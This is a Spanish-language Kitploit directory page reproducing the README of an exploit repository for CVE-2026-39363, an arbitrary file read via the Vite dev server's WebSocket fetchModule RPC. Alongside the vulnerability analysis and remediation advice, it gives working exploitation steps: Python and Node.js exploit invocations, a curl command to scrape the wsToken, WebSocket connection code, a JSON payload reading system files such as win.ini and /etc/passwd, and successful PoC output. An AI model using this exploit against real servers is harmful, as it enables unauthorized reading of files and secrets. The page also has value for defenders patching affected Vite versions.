Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39363 — Exploit para CVE-2026-39363, una vulnerabilidad de lectura arbitraria de archivos en WebSocket del servidor de desarrollo de Vite, con scripts en Python y Node.js para explotación automatizada y pasos manuales. | Kitploit
Herramientas/GitHubGitHub/firebasky/cve-2026-39363
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit para CVE-2026-39363, una vulnerabilidad de lectura arbitraria de archivos en WebSocket del servidor de desarrollo de Vite, con scripts en Python y Node.js para explotación automatizada y pasos manuales.

Ver Repositorio
7hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39363

Vulnerabilidad de Lectura Arbitraria de Archivos en el WebSocket del Servidor de Desarrollo de Vite

Resumen de la Vulnerabilidad

AtributoInformación
ID CVECVE-2026-39363
ID GHSAGHSA-p9ff-h696-f583
Tipo de VulnerabilidadArbitrary File Read (Lectura Arbitraria de Archivos)
Componente AfectadoVite Dev Server
Versiones AfectadasVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Puntuación CVSSAlta
Versión CorregidaVite >= 6.2.3

Principio de la Vulnerabilidad

Problema Principal

La llamada RPC fetchModule del WebSocket de Vite Dev Server presenta una vulnerabilidad de omisión de la verificación de seguridad.

Auditoría del Código

Ubicación del código vulnerable: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Punto clave de la vulnerabilidad: cuando la URL es file:// o no hay importer
  // se llama directamente a resolveId, ¡sin realizar la verificación isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...continúa el procesamiento y devuelve el contenido del archivo
}

Comparación de Rutas de Solicitud

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│              Ruta de Solicitud HTTP (con verificación de seguridad) │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOQUEADO                          │
│  (verifica server.fs.allow)                                     │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│              Ruta de Solicitud WebSocket (omite la verificación) │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId directo                │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> depende de la configuración fs.allow │
│         │                                                       │
│         ▼                                                       │
│  Devuelve el contenido del archivo con éxito (si fs.allow lo permite) │
└─────────────────────────────────────────────────────────────────┘

Hallazgos Clave

  1. Ruta HTTP: Pasa por múltiples capas de verificación: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. Ruta WebSocket:

    • La función fetchModule no llama a isFileServingAllowed
    • La segunda línea de defensa, isFileLoadingAllowed en loadAndTransform, sigue activa
    • Pero si la configuración de server.fs.allow es permisiva, se puede leer cualquier archivo

Condiciones de Explotación

  1. Vite Dev Server expuesto en la red (por ejemplo, usando --host)
  2. Configuración permisiva de server.fs.allow:
    • fs.allow: ['..'] - permite leer directorios superiores
    • fs.allow: ['C:/'] - permite leer todo el disco C
    • fs.strict: false - sin restricciones
  3. Se puede obtener el wsToken (accediendo a /@vite/client)

Configuración del Entorno

root@kitploit:~
# Clonar el repositorio
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Instalar dependencias
npm install

# Iniciar Vite Dev Server (usando configuración permisiva para demostrar la vulnerabilidad)
npm run dev

Explotación de la Vulnerabilidad

Método 1: Usando el script de Python

root@kitploit:~
# Uso básico (detección automática de puerto)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Leer archivos fuera del proyecto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Especificar token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Método 2: Usando el POC de Node.js

root@kitploit:~
# Obtener el wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Ejecutar el POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Pasos de Explotación Manual

  1. Obtener el Token del WebSocket:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. Conexión WebSocket:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Enviar el payload:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Demostración

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Estructura de Archivos

root@kitploit:~
CVE-2026-39363/
├── README.md           # Documento de análisis de la vulnerabilidad
├── exp.py              # Script de exploit en Python
├── poc.js              # POC en Node.js
├── vite.config.js      # Archivo de configuración de Vite (para demostración)
├── package.json        # Configuración del proyecto
├── src/                # Directorio de código fuente
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Recursos estáticos
└── index.html          # HTML de entrada

Recomendaciones de Corrección

1. Actualizar Vite

root@kitploit:~
npm update vite
# o
npm install vite@latest

2. Restringir server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // solo permitir el directorio raíz del proyecto
    }
  }
})

3. No Exponer el Dev Server

  • No ejecutar el Dev Server en entornos de producción
  • Evitar usar --host para exponer el servicio
  • Usar un firewall para restringir el acceso

Referencias

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Documentación de Vite

Aviso Legal

Este proyecto se proporciona únicamente con fines de investigación y educación en seguridad. No utilice este código de explotación para ninguna actividad ilegal. Antes de probar este código, asegúrese de haber obtenido la autorización explícita del propietario del sistema objetivo.

Licencia

Licencia MIT

Descargar herramienta